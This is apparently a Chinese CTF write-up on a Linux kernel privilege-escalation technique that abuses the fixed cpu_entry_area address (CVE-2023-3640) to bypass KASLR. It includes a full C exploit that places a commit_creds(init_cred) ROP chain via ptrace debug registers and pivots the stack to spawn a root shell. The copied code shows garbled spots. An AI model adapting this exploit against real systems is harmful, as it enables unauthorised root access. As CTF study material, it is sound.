基于cpu_entry_area利用的Linux内核权限提升

WriteUp 7个月前 admin
75 0 0

当存在一个内核地址泄露和一个内核栈迁移,应该如何完成内核提权?

cpu_entry_area概要

根据NVD漏洞 CVE-2023-3640 详情信息 [1] 可知,此漏洞可以通过利用 cpu_entry_area 的固定地址,泄露内核地址,从而绕过KASLR,攻击者可能通过此漏洞提升权限。CVE-2023-3640漏洞基于CVE-2023-0597。

cpu_entry_area 是一个内核数据结构,包含了允许 CPU 将控制权交给内核所需的所有数据和代码。在低于6.2的内核版本中,它位于每个 CPU 的固定地址,以便在进入内核时快速访问。可以在Linux内核源码的Documentation/x86/x86_64/mm.rst 文件中找到:


基于cpu_entry_area利用的Linux内核权限提升

当访问此固定内存地址时(由于对齐原因,这里进行访问时对地址加了四字节),可以发现其中存储了部分内核text段地址:

基于cpu_entry_area利用的Linux内核权限提升
当泄露此处的内容后,可得到内核text段地址,通过计算偏移可得到内核基地址,从而绕过KASLR。cpu_entry_area除了可以用于泄露内核地址,还可以用于构造ROP。

cpu_entry_area ROP利用

以一道CTF题目来学习该利用手法,题目来自2023年SCTF 中的sycrop [2]。

基于cpu_entry_area利用的Linux内核权限提升

从IDA中分析,该内核模块实现的ioctl有两个功能,0x6666和0x5555。0x6666在伪代码中看得不是很清晰,实际上汇编代码如下:

基于cpu_entry_area利用的Linux内核权限提升


分析以上汇编代码和伪代码片段可知,0x6666可以实现一次栈迁移,而0x5555可以实现任一地址的数据泄露。那么就考虑先利用cpu_entry_area泄露内核地址,然后计算得到commit_creds与init_cred的地址,最后将内核栈迁移到某处,构造一次ROP链来完成提权,最后返回用户态起shell。现在唯一的问题是应该将栈迁移到何处?

实际上,当一个进程使用ptrace PTRACE_POKEUSER 修改另一个进程的用户数据时,内核会通过 cpu_entry_area 来访问和更新被跟踪进程的用户数据。这样可以保证被跟踪进程在恢复执行时,使用正确的用户数据。可以理解为与pt_regs相同的功能,在恢复时会从cpu_entry_area中特定的位置逐个恢复寄存器的值,而在6.2内核版本之前cpu_entry_area位置是固定的,这样就有了可乘之机。

在布置cpu_entry_area中的数据时,要按照恢复寄存器的顺序,可参考以下模版:

__asm__(
                "mov r15,   0xbeefdead;"
                "mov r14,   pop_rdi;"
                "mov r13,   init_cred;" // start at there
                "mov r12,   commit_cred;"
                "mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
                "mov rbx,   0x77777777;"
                "mov r11,   0x77777777;"
                "mov r10,   getshelladdr;"
                "mov r9,    user_cs;"
                "mov r8,    user_rflags;"
                "mov rax,   user_sp;"
                "mov rcx,   user_ss;"
                "mov rdx,   0xcccccccc;"
                "mov rsi,   0xa000000;"
                "mov rdi,   [rsi];"
            );

init_cred是内核中一个默认root权限的cred,所以可以直接用commit_cred提交,那么进程就拥有了root权限。本题目作者提供的完整的脚本如下,非常值得学习:

#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>

voidmap;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("33[34m33[1m[*] Status has been saved.33[0mn");
}

void teardown()
{
    kill(hbp_pid,9);
}

void create_hbp(void* addr)
{

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
        printf("Could not create hbp! ptrace dr0: %mn");
        teardown();
        exit(1);
    }

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 560xf0101) == -1) {
        printf("Could not create hbp! ptrace dr7: %mn");
        teardown();
        exit(1);
    }
}

void hbp_raw_fire()
{
    if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
        {
            printf("Failed to PTRACE_CONT: %mn");
            teardown();
            exit(1);
        }
}
void getRootShell(void)
{   
    if(getuid()) {
        printf("33[31m33[1m[x] Failed to get the root!33[0mn");
        exit(-1);
    }

    puts("33[32m33[1m[+] Successful to get the root. "
         "Execve root shell now...33[0m");
    system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
    cpu_set_t mask;
    map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
    switch(hbp_pid = fork())
    {
        case 0//child
            //pin cpu

            CPU_ZERO(&mask);
            CPU_SET(cpu,&mask);
            sched_setaffinity(0,sizeof(mask),&mask);
            ptrace(PTRACE_TRACEME,0,NULL,NULL);
            raise(SIGSTOP);
            __asm__(
                "mov r15,   0xbeefdead;"
                "mov r14,   pop_rdi;"
                "mov r13,   init_cred;" // start at there
                "mov r12,   commit_cred;"
                "mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
                "mov rbx,   0x77777777;"
                "mov r11,   0x77777777;"
                "mov r10,   getshelladdr;"
                "mov r9,    user_cs;"
                "mov r8,    user_rflags;"
                "mov rax,   user_sp;"
                "mov rcx,   user_ss;"
                "mov rdx,   0xcccccccc;"
                "mov rsi,   0xa000000;"
                "mov rdi,   [rsi];"
            );
            exit(1);
        case -1:
            printf("fork: %mn");
            exit(1);
        default//parent. Just exit switch
            break;
    }
    int status;
    //Watch for stop:
    puts("Waiting for child");
    while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
    {
        sched_yield();
    }
    puts("Setting breakpoint");
    create_hbp(map);
}

int main()
{
    saveStatus();
    int fd = open("/dev/seven", O_RDWR);
    if(fd < 0) perror("Error open");
    unsigned long addr =  ioctl(fd,0x5555,0xfffffe0000000000+4);
    printf("0x%llxn",addr-0x1008e00);
    kernel_base = addr-0x1008e00;
    init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
    commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
    pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
    init(1);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    ioctl(fd,0x6666,0xfffffe0000010f60);
}

总的来说,这个利用方式打开了一个大门,首次利用出现是在Google CTF中,后续也有几次出现在国际赛事中,最近一次是在2024年的RWCTF的RIPTC题目,也使用了此利用手法作为提权手段。

References


[1] https://nvd.nist.gov/vuln/detail/CVE-2023-3640
[2] https://github.com/pray77/CVE-2023-3640?tab=readme-ov-file



原文始发于微信公众号(山石网科安全技术研究院):基于cpu_entry_area利用的Linux内核权限提升

版权声明:admin 发表于 2024年4月18日 下午1:32。
转载请注明:基于cpu_entry_area利用的Linux内核权限提升 | CTF导航

相关文章